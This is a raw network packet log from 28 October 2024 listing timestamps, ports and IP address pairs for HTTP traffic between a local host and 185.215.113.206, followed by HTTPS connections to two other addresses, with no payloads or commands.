Oct 28, 2024 08:17:40.908575058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908575058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908590078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908606052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908621073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908622980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908622980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908634901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908644915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908649921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908658981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908664942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.908689022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.908689022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:41.667078018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:41.667078018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:41.672610998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:41.672636032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.455758095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.455817938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.515944004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.521333933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.807034969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.807080030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.807141066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.807159901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.807159901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.807177067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:42.807213068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.807286978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.810261011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:42.816378117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:43.100589037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:43.100698948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:43.113437891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:43.118813992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:43.903258085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:43.903363943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:43.936566114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:43.941975117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:44.227667093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:44.227727890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:44.228713989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:44.234008074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:45.029560089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:45.029643059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:47.970027924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:18:02.516211033 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:02.516242981 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:02.516316891 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:02.516578913 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:02.516629934 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.293903112 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.294033051 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.436356068 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.436381102 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.437299013 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.480940104 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.524272919 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.567375898 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781788111 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781842947 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781867981 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781903982 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.781908035 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781939983 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.781939983 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781954050 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.781958103 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.781985044 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.782006025 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.783257961 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.783302069 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.783320904 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.783351898 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.783361912 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.783390999 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.905157089 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.905241966 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.905244112 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.905267954 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.905297041 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.905314922 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.906666994 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.906724930 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.906733990 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.906747103 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.906774998 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.906799078 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.908510923 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.908552885 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.908581972 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.908593893 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.908612967 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.908647060 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.910388947 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.910429001 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.910450935 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.910461903 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:03.910476923 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.910487890 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:03.910505056 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.028877974 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.028925896 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.028984070 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.029000044 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.029031992 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.029056072 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.029794931 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.029834986 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.029861927 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.029870987 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.029890060 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.029911995 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.030674934 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.030734062 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.030740976 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.030757904 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.030786037 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.030806065 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.031647921 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.031692028 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.031722069 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.031728983 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.031755924 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.031776905 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.032568932 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.032608986 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.032636881 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.032643080 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.032661915 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.032680988 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.033545017 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.033586979 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.033612967 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.033618927 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.033641100 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.033659935 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.034426928 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.034502029 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.034507990 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.034523964 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.034550905 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.034573078 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.151962996 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.152152061 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.152177095 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.152220964 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.152343988 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.152370930 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.152389050 CET	49769	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.152396917 CET	443	49769	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.195895910 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.195945024 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.195986986 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.196023941 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.196039915 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.196093082 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.196249962 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.196260929 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.196332932 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.196350098 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.197566032 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.197604895 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.197654963 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.197809935 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.197824955 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.198667049 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.198712111 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.198762894 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.198872089 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.198888063 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.199493885 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.199502945 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.199559927 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.199665070 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.199675083 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.382064104 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:04.382112026 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:04.382205963 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:04.382594109 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:04.382610083 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:04.923845053 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.924315929 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.924339056 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.924881935 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.924886942 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.926450014 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.926733971 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.926764965 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.927109957 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.927117109 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.931257010 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.931555986 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.931571007 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.931943893 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.931948900 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.932970047 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.933233976 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.933239937 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.933552980 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.933557034 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.976716042 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.977206945 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.977230072 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:04.977654934 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:04.977658987 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.051799059 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.051831961 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.051951885 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.051973104 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.051986933 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.052054882 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.052280903 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.052301884 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.052315950 CET	49774	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.052321911 CET	443	49774	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.055565119 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.055599928 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.055684090 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.055807114 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.055821896 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.055876970 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.056051970 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.056117058 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.056138039 CET	49771	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.056149006 CET	443	49771	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.058362961 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.058406115 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.058487892 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.058609962 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.058628082 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.062849045 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.062906027 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.062908888 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.062937975 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.062974930 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.062983990 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.063034058 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.063039064 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.063044071 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.063067913 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.063071966 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.063083887 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.063117981 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.065085888 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.071856976 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.071866989 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.071892977 CET	49770	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.071898937 CET	443	49770	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.072041988 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.072047949 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.072066069 CET	49772	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.072068930 CET	443	49772	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.077007055 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077023029 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.077109098 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077305079 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077318907 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.077775955 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077789068 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.077841043 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077953100 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.077966928 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.118776083 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.118916988 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.118973970 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.119283915 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.119297981 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.119307041 CET	49773	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.119316101 CET	443	49773	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.125001907 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.125016928 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.125092983 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.125607014 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.125617027 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.181097984 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.181181908 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.183712006 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.183723927 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.184082031 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.197899103 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.239339113 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.461500883 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.461522102 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.461605072 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.461719036 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.461719036 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.461750031 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.461805105 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.578938007 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.578989029 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.579018116 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.579041958 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.579060078 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.579062939 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.579114914 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.579278946 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.579299927 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.579329014 CET	49775	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:18:05.579336882 CET	443	49775	20.109.210.53	192.168.2.4
Oct 28, 2024 08:18:05.791815042 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.792448044 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.792485952 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.792908907 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.792917013 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.793781042 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.794145107 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.794162035 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.794500113 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.794507027 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.807076931 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.807506084 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.807513952 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.807879925 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.807884932 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.813919067 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.814374924 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.814388990 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.814758062 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.814764977 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.880583048 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.881148100 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.881172895 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.881630898 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.881635904 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.925350904 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.925518036 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.925592899 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.925719023 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.925735950 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.925779104 CET	49776	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.925786018 CET	443	49776	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.926419973 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.926496983 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.928205967 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.928364992 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.928396940 CET	443	49777	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.928414106 CET	49777	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.928421974 CET	443	49777	13.107.246.45	192.168.2.4
